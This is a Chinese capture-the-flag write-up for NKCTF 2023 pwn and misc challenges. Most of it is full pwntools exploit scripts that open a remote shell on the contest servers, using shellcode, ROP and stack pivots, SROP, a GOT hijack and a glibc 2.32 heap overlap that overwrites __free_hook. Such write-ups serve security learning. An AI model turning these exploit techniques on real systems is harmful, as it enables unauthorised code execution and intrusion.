首页 > 其他分享 >nkctf2023

nkctf2023

时间:2023-03-26 22:55:58浏览次数:59  
标签:nkctf2023 addr libc pop read ret execve

前言

本次比赛pwn题体验尚可,musl的堆管理需要学习,还有很多attack的技术需要学习。本文记录部分做出的题目,有什么好的思路和不对的地方,欢迎各位师傅进行指正。也欢迎交换友链。
贴上基本ak的图片吧QAQ。
image-bc

misc

三体

应该是个非预期出的,正常来说应该参考这篇文章【技术分享】第五届强网杯2021-Misc-Threebody WriteUp_通道里 (sohu.com)

zsteg一把梭

image-20230326215730315

可以看到反过来的flag。

NKCTF{3d77dc1a37b2d1ebf489c973f554ea10}

pwn

ezshellcode

ret2shellcode,随机跳到buf2的某个位置执行命令

image-20230326220306051

exp

from pwncy import *
context(arch = 'amd64',log_level = "debug")
p,elf,libc = load('pwn',ip_port = "node.yuzhian.com.cn:35629")

debug(p,'no-tmux',0x4011F6)

payload = flat({
	# 0x0:
	0x70:asm(shellcraft.sh())
	},filler = asm("nop"),length = 0x100)
s(payload)
# pause()
itr()

a_story_of_a_pwner

栈菜单,1,2,3都可以写入0x8字节,同时都是连续的地址

image-20230326220603781

image-20230326220705583

另外有个warning函数泄露libc,heart函数可以进行migration

image-20230326220817687

image-20230326220845326

exp

from pwncy import *
context(arch = 'amd64',log_level = "debug")
p,elf,libc = load("pwn",remote_libc = "./libc.so.6",ip_port = "node.yuzhian.com.cn:31111")
pop_rdi = 0x0000000000401573
leave_ret = 0x000000000040139e
debug(p,'no-tmux',0x00000000004013D2)
def cmd(choice):
	sla("> \n",str(choice))

cmd(2)
s(p64(pop_rdi)) #0x4050A0 ctf-8byte
cmd(4)
ru("I give it up, you can see this. ")
puts_addr = int(r(14),base = 16)
log_addr('puts_addr')
system,binsh,libc_base = local_search("puts",puts_addr,libc)
# pause()
cmd(1)
s(p64(binsh)) #0x4050A8 acm-8byte
cmd(3)
s(p64(system)) #0x4050B0
cmd(4)
migration = flat({
	0xa: [0x4050a0 - 0x8,leave_ret]
	},length = 0x20,filler = b"\x00")
ru("now, come and read my heart...\n")
s(migration)
itr()

ez_stack

经典的syscall进行read和write

image-20230326221117495

可以找到magic gadget,0fh就是syscall,5就是retn

image-20230326221202414

然后就是普通的srop

exp

from pwncy import *
context(arch = "amd64",log_level = "debug")
p,elf,libc = load('ez_stack',ip_port = "node.yuzhian.com.cn:34535")
syscall_read_xor = 0x00000000004011DC
syscall_read = 0x00000000004011DF
syscall_ret = 0x00000000040114E
syscall = 0x00000000004011DA
debug(p,'no-tmux',0x00000000004011EE)

payload1 = flat({
	0x0: b'/bin/sh\x00',
	0x8: b'/bin/sh\x00',
	0x18: syscall_ret,
	0x20: syscall_read,
	0x30: syscall_read_xor,
	})
sl(payload1)
pause()
s(b"a")
pause()
stack_addr = recv_libc()
log_addr("stack_addr")


execve = SigreturnFrame(kernel = "amd64")
execve.rax = 59
execve.rdi = stack_addr - 0xf2 #0x11a
execve.rsi = 0
execve.rdx = 0
execve.rbp = stack_addr
execve.rip = syscall_ret
execve.rsp = stack_addr


payload2 = flat({
	0x10: stack_addr, #rbp
	0x18: syscall_ret,
	0x20: syscall_ret,
	0x28: execve
	# 0x30: execve
	},filler = p64(stack_addr))
sl(payload2)
pause()
s(b'/bin/sh\x00'.ljust(15,b"\x00"))
itr()

baby_rop

检查保护

image-20230326222022038

一个读取8byte的格式化字符串漏洞。

image-20230326221848631

还有myread函数里面的off by one,可以覆盖rbp的最低位。

image-20230326222140574

同时在call vuln函数内部有leave,另外main里有一个leave,可以栈迁移控制程序流。

image-20230326222455752

所以攻击思路可以参考2023西湖论剑初赛,但是需要用ret进行栈喷射(不知道是不是这么说。

有一点吐槽的就是libc的版本问题,出题人没有给libc,但是libcsearch找不到。不过使用的是Ubuntu20.04的2.31

exp

from pwncy import *
context(arch = 'amd64',log_level = 'debug')
p,elf,libc = load("nkctf_message_boards",ip_port = "comentropy.cn:8302",remote_libc = 'libc.so.6')
ret = 0x000000000040101a
distance = 0x108
pop_rdi = 0x0000000000401413
pop_rbp = 0x00000000004011bd
read_256 = 0x0000000000401351
main = 0x000000000040138C
puts_got = elf.got["puts"]
puts_plt = elf.plt['puts']
debug(p,'no-tmux',0x401340)

payload = flat({
	0x0:b"%p%41$p"
	})
ru("What is your name: ")
sl(payload)
ru("Hello, ")
stack_addr = int(r(14),base = 16)
log_addr("stack_addr")
fake_rbp = stack_addr + 0x110
log_addr("fake_rbp")
# recv = r(1024)
# print(recv)
canary = int(r(18),base = 16) 
log_addr("canary")
# system,binsh,libc_base = local_search("setvbuf",set_buf,libc)
payload2 = flat({
	# 0x0:
	# 0x100 - 0x20: [pop_rdi,binsh],
	# 0x90: system,
	0xc8: pop_rbp,
	0xd0: fake_rbp,
	0xd8: pop_rdi,
	0xe0: puts_got,
	0xe8: puts_plt,
	# 0xf0: read_256,
	0xf0: main,
	0xf8: canary
	},length = 0x100,filler = p64(ret))
ru("What are your comments and suggestions for the NKCTF:")
s(payload2)
puts_addr = recv_libc()
log_addr("puts_addr")
system,binsh,libc_base = local_search("puts",puts_addr,libc)
# system,binsh,libc_base = libc_search("puts",puts_addr)
ru("What is your name: ")
sl("tw0")
payload3 = flat({
	# 0x0: [pop_rdi,binsh,system]
	0xe0: pop_rdi,
	0xe8: binsh,
	0xf0:system,
	0xf8: canary
	},length = 0x100,filler = p64(ret))
ru("What are your comments and suggestions for the NKCTF:")
s(payload3)
itr()

9961code

类似于nu1l今年的比赛,mprotect的开辟一段仅可执行的区域进行命令执行。不过可以输入的shellcode仅有24字节。

image-20230326223337293

exp

from pwncy import *
context(log_level = "debug",arch = "amd64")
p,elf,libc = load("pwn",ip_port="node2.yuzhian.com.cn:39990",remote_libc = "./libc.so.6")
debug(p,'no-tmux','pie',0x139b)

shellcode = """
	xor rsi, rsi
	lea rdi, [r15 + 0xe]
	cdq
	mov ax, 59
	syscall
"""
ru("In that case, you can only enter a very short shellcode!\n")
s(asm(shellcode)+b"/bin/sh")
itr()

only_read

partial relro,可以修改got。

image-20230326223805424

read栈溢出。只能够调用read函数,需要hijack got,修改read got为syscall。

image-20230326223909182

exp

from pwncy import *
context(log_level = "debug",arch = "amd64")
p,elf,libc = load("pwn",ip_port = "node2.yuzhian.com.cn:39085")
leave_ret = 0x4013c2
add_rbp_3d = 0x000000000040117c #add dword ptr [rbp - 0x3d], ebx ; nop ; ret
pop_rbp = 0x000000000040117d
pop_rdi = 0x401683
pop_rsi_15 = 0x401681
read_call = 0x4013E1
ret = 0x000000000040101a
log_info(leave_ret)
debug(p,'no-tmux',0x4013E1)
#Welcome to NKCTF!
payload1 = b"V2VsY29tZSB0byBOS0NURiE="
#tell you a secret: b *0x40150A
payload2 = b"dGVsbCB5b3UgYSBzZWNyZXQ6"
#I'M RUNNING ON GLIBC 2.31-0ubuntu9.9
payload3 = b"SSdNIFJVTk5JTkcgT04gR0xJQkMgMi4zMS0wdWJ1bnR1OS45"
#can you find me?
payload4 = b"Y2FuIHlvdSBmaW5kIG1lPw=="
sl(payload1)
pause()
s(payload2)
pause()
s(payload3)
pause()
s(payload4)
pause()

# .text:0000000000401660                 mov     rdx, r14
# .text:0000000000401663                 mov     rsi, r13
# .text:0000000000401666                 mov     edi, r12d
# .text:0000000000401669                 call    ds:(__frame_dummy_init_array_entry - 403E08h)[r15+rbx*8]
# .text:000000000040166D                 add     rbx, 1
# .text:0000000000401671                 cmp     rbp, rbx
# .text:0000000000401674                 jnz     short loc_401660

# .text:0000000000401676                 add     rsp, 8
# .text:000000000040167A                 pop     rbx
# .text:000000000040167B                 pop     rbp
# .text:000000000040167C                 pop     r12
# .text:000000000040167E                 pop     r13
# .text:0000000000401680                 pop     r14
# .text:0000000000401682                 pop     r15
# .text:0000000000401684                 retn
def attack():
	migration_addr = 0x404500 #read_got = 0x404028
	read_64 = 0x4013D0 
	pd = flat({
		0x0: elf.got["read"],
		0x30: migration_addr,
		0x38: 0x40167A,
		0x40: [0x10,migration_addr,0,0,0,0],
		0x70: read_64,
		},length = 0x78,filler = b'\x00')
	sl(pd)
	pause()
	binsh = 0x4044d8
	execve = SigreturnFrame(kernel = "amd64")
	execve.rax = 59
	execve.rdi = binsh
	execve.rsi = 0
	execve.rdx = 0
	execve.rip = elf.plt['read']
	print(type(execve))
	pd2 = flat({
		0x0: elf.got["read"],
		0x8: b'/bin/sh\x00',
		0x30: migration_addr + 0x10,
		0x38: read_64,
		0x40: ret,
		0x48: ret,
		0x50: pop_rbp,
		0x58: elf.got["read"] + 0x3d,
		0x60: [add_rbp_3d,elf.plt['read']],
		0x70: execve
		},filler = b"\x00")
	s(pd2)
	pause()
	pd3 = flat({
		0x0:b"/bin/sh\x00"
		},length = 0xe,filler = b"\x00")
	sl(pd3)

attack()
itr()

值得一提的是,因为读入的数据可以很长,可以直接利用pop rdi rsi的gadget就可以控制read的读入。不需要程序里的read了,可能是看了一天的题,脑子都dump了QAQ。

baby_heap

题目环境 && 存在漏洞

libc-2.32.so,full RELRO

image-20230326092846727

题目的myread函数存在off by one,可以修改next chunk size实现overlapping

攻击思路

2.32未patch同时开启full relro,got表不可写。另外 __free_hook 等在2.34之前都未被patch,因此需要leak libc_base来打 。还有2.32开启的safe linking机制,需要先leak heapbase才能够控制tcache->entry的next位。

exp

from pwncy import *
context(log_level = "debug",arch = "amd64")
p,elf,libc = load("pwn",remote_libc = "./libc-2.32.so",ip_port = "node2.yuzhian.com.cn:31745")

def cmd(choice):
	sla("Your choice: ",str(choice))

def add_note(index,size):
	cmd(1)
	sla("Enter the index: ",str(index))
	sla("Enter the Size: ",str(size))
def free_note(index):
	cmd(2)
	sla("Enter the index: ",str(index))
def show(index):
	cmd(4)
	sla("Enter the index: ",str(index))
def edit_note(index,content):
	cmd(3)
	sla("Enter the index: ",str(index))
	sa("Enter the content: ",content)
debug(p,'no-tmux','pie',0x1929)

##bypass tcache safe linking -- leak heapbase
add_note(0,0x88)
free_note(0)
add_note(0,0x88)
show(0)
heap_base = u64(ru("\x05",drop = False)[-5:].ljust(8,b"\x00")) << 12
# pause()

for i in range(1,8):
	add_note(i,0x88)
add_note(8,0x18)
add_note(9,0x18)
add_note(13,0x18)
for i in range(7):
	free_note(i)
# pause()

free_note(7)

# pause()
for i in range(6,-1,-1):
	add_note(i,0x88)
# pause()
fix_next_size = flat({
0x88: p8(0xb1)
},length = 0x89,filler = b"\x00")
edit_note(6,fix_next_size)
fix_pre_size = flat({
	0x10: p8(0xb0),
	0x18: p8(0x20)
	},filler = b"\x00",length = 0x19)
edit_note(8,fix_pre_size)
# pause()
##leak libc_base addr 
add_note(7,0x88)
show(7)
remote_arena_offset = 0x1e3ba0
local_arena_offset = 0x7f8803a19c80 - 0x7f8803800000
libc_base = recv_libc() - 96 - remote_arena_offset - 0xa0
log_addr("heap_base")
log_addr("libc_base")
__free_hook = libc_base + libc.symbols["__free_hook"]
log_addr("__free_hook")
ogg = libc_base + search_og(1)
log_addr("ogg")
pause()
##apply for mem to make chunk overlapping
add_note(10,0x8) #note 8 and 10
free_note(13)  #add 1 to tcache idx
pause()
free_note(8)
fix_tcache_fd = flat({
	0x0: (heap_base >> 12) ^ (__free_hook),
	},filler = b"\x00",length = 0x9)
edit_note(10,fix_tcache_fd)
add_note(8,0x18)
pause()
add_note(11,0x10)
edit_note(11,flat({
	0x0:[ogg],
	0x10: p8(0)
	},length = 0x11))
free_note(0)
itr()

get flag

image-20230326092727205

bytedance

参考hctf 2018的heap storm zero,利用scanf apply for big chunk,来实现malloc consolidate。就不细说了,下面附上链接。

veritas501/hctf2018: hctf2018 part (the_end,heapstorm_zero,christmas,eazy_dump) (github.com)

标签:nkctf2023,addr,libc,pop,read,ret,execve
From: https://www.cnblogs.com/Tw0YY/p/17259848.html

相关文章